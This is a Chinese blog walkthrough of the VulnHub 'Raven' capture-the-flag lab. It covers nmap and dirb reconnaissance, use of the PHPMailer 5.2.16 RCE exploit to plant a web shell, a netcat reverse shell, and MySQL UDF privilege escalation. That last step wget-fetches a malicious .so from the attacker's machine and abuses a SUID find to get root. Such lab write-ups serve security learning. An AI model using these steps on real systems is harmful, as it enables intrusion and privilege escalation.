渗透项目(三):Raven

本文详细记录了一次针对VulnerableByDesign靶场的渗透测试过程,包括信息收集、webshell获取、权限提升等步骤。通过nmap扫描、目录枚举、利用PHPMailer漏洞获取webshell,最终通过MySQL UDF提权至root权限,成功获取所有flag。
摘要由CSDN通过智能技术生成

靶机地址:Vulnerable By Design ~ VulnHub

1、Raven考察点:

1)信息收集:

1、nmap挖掘信息。2、页面爆破(dirb)。3、页面信息枚举。

2)webshell:

根据页面得到的信息获取web服务名称及版本(PHPMailer),然后获取shell

3)提权:

1、信息收集。2、mysql-UD提权(do_system)

渗透过程:

1、将靶机下载后,导入虚拟机并开启。

2、打开kali,使用nmap对同一网段进行主机发现。

nmap -sP 192.168.44.1/24     (nmap的参数可以去看补充说明的那篇文章)

3、本机ip地址为192.168.44.129,发现同网段下的192.168.44.128,判断该ip地址即为靶机地址。利用nmap探查该ip地址开放的端口号。

nmap -p- 192.168.44.128

发现如下:

开放了22端口,可以考虑ssh爆破,开放80端口说明存在web端服务,剩下两个端口目前还不知道是什么服务。

4、在浏览器输入靶机ip地址,发现:

 

这里可以在页面上随便点,收集一些有用的信息,发现并没有什么有用的信息。(常规思路

5、 下面进行页面的目录枚举,利用dirb:

dirb http://192.168.44.128

发现枚举出了如下的目录:

输入相应的目录发现:

发现了它的web文件夹里的一些东西,这里我们可以随便点点,收集一些有用的信息,点开PATH发现了flag1的存在。这说明还有其他flag2、3或者更多的存在。

 

点击License,没什么发现,点击ReadMe,发现了PHPMailer

点击SECURITY发现了PHPMailer的一些相关漏洞

 点击VERSION发现了版本号5.2.16

自此,vendor的有用信息收集到这么多,其他的文件也可以点进去看看,其实也没什么发现。

6、输入刚才枚举出的另一个目录,发现好像也没有什么可以利用的,但是看到了有Log in

 结合着之前扫描出的22端口,利用cewl去生成该页面的字典,说不定可以爆破ssh的用户名和密码,这里是另一个思路,经过尝试,爆不出相应的用户名和密码,这个思路就先到这。

7、然后利用在vendor里的信息,去浏览器搜索 关于PHPMailer 5.2.16 的exp

发现了远程代码指令的漏洞,ID为40974

 在Kali中搜索ID为40974的漏洞利用代码。输入searchsploit 40974

 然后定位到这个利用文件的位置:输入locate php/webapps/40974.py

将该文件复制到/home/kali路径下

然后根据之前在浏览器中的提示,修改该文件的target、payload中ip地址和端口号,还有fields中的email文件地址。

target是靶机地址,payload中的ip地址是kali本机地址,端口号自由设定,email文件地址是用来放后门文件的位置,根据之前vendor的信息收集发现了在/var/www/html/    具体如下:

 然后利用python3 40974.py执行即可

 这里130,是因为我重新将ip地址更新了,40974.py中的target的ip地址也更改为130了。此处说明后门已经写入这个网站。

8、下面就可以开启之前在.py文件中写入的端口号进行监听,然后利用自己的后门文件去访问这个网站。输入:

nc -lvp 5656       #这边端口重新修改一下

浏览器输入192.168.44.130/xiaoli1.php  #因为之前我已经放入了一个后门文件,现在我重新生成一个

观察到,已经与后门连接上了

这里反弹了个shell,输入python -c 'import pty;pty.spawn("/bin/bash")',改变一下

这里只是一个普通用户,利用find命令查找一下看看有没有和flag相关的文件,输入

find / -name flag* 

这边发现了个flag2和一个flag3的路径 

直接cat 上面的路径得到flag2,浏览器输入地址得到flag3

www-data@Raven:/var/www$ cat flag2.txt
cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

 这只是普通用户权限,查找到的东西有限,下面就要进行提权了

8、提权

 下面先进到wordpress目录下,发现有wp-config文件,优先查看配置文件,可能存在用户名和密码之类的重要信息。输入:

grep "password" -rn wp-config.php  查找该文件中是否存在password

发现第28行是有mysql的密码存在,查看此文件

 发现用户名是root密码是R@v3nSecurity,利用用户名和密码登录mysql:

mysql -uroot -pR@v3nSecurity

登陆后先查看下mysql数据库的版本

 然后show一下存在的数据库,show databases;

use wordpress,切换至wordpress数据库,show一下存在的表,然后用select * from wp_users;

这有两个用户,有两个密文密码,如果破解不了,就先放着。

mysql的经典提权:UDF 提权、MOF 提权是非常经典的提权方法!

9、查看能否用UDF提权

验证UDF提权的前提是mysql是root权限运行,mysql的版本是5.5.6的,输入

show global variables like 'secure%';

查看mysql底层是否能用UDF提权,发现

 注:

1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

下面查看下是否在上面说到的目录下:

show variables like '%plugin%';

 10、这里有两个思路,查看mysql是否可以远程访问,如果可以,后面提权的时候直接可以用MSF进行操作,如果不能,则只能在本地执行。

切换到mysql数据库中,use mysql;然后查看哪些用户可以远程访问,select user,host from user;

发现只能本地访问,和root访问,所以远程的就可以pass了。

 11、浏览器搜索mysql 5.x UDF exploit

ID号为1518,在kali中查找此漏洞

 

将其定位,然后复制到/home/kali,这里基本操作就不赘述了

下一步,对1518.c编译,gcc -g -c 1518.c

然后再次编译一下,生成个.so文件

gcc -g -shared -o xiaoli.so 1518.o -lc

-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

开启kali的http.server服务

python -m http.server 8088

然后回到连接的shell,进到tmp目录下,使用wget http://192.168.44.129:8088/xiaoli.so,下载这个恶意的.so文件

下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli

 接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件

insert into xiaoli values(load_file('/tmp/xiaoli.so'));

显示插入成功! 

然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:

select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'xiaoli.so';

查看以下创建的函数:
select * from mysql.func;

创建成功! 

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');

执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root

 获取了root权限,进到root目录下发现了flag4

自此,flag1234全部获得,本次渗透项目圆满结束!

真滴不容易啊,这个靶场容易崩,好几次,我都重新启动这个虚拟机!!!

不过还好,最后还是完成了本次渗透获得了flag。

总结一下,渗透思路比攻击的过程更值得记录,拥有一个灵活的渗透思路,在发现一条路堵死的时候,可以跳出刚才的想法,换另一种思路,继续完成任务。这才是值得深思的问题。继续努力,继续学习~后期将更新渗透项目(四)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>